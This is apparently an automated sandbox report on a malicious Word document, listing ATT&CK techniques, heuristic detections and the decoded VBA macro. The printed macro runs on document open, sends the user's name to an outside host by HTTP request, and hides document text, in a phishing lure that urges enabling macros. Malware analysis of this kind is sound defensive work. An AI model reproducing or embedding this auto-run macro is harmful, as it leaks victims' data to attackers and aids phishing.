MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open subroutine that executes shell commands. This macro attempts to download a payload from the URL 'http://events.meinlbamk.com/login.php?input=' by concatenating it with the user's name. The presence of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread API calls strongly suggests the execution of a secondary payload. The document body explicitly asks the user to enable macros for full viewing, a common social engineering tactic.
Heuristics 9
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
strUrl = "http://events.meinlbamk.com/login.php?input=" & Application.UserName Set hReq = CreateObject("MSXML2.XMLHTTP") With hReq -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() 'oxFlMRrmjK -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://events.meinlbamk.com/login.php?input= In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 871 bytes |
SHA-256: fa7feb388186d4a94bdee1eb5b3d5d4f17e1c3d1e3c53f02789cb059cf7cc3da |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'oxFlMRrmjK
Dim strUrl As String
strUrl = "http://events.meinlbamk.com/login.php?input=" & Application.UserName
Set hReq = CreateObject("MSXML2.XMLHTTP")
With hReq
.Open "GET", strUrl, False
.Send
End With
If ThisDocument.ReadOnly = False Then
ThisDocument.Save
End If
End Sub
Sub oxFlMRrmjK()
Dim sZpImFWCda As Document
Set sZpImFWCda = ActiveDocument
Dim ivOUIYFzPz As Variant
sZpImFWCda.Sections.First.Range.Font.Hidden = True
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.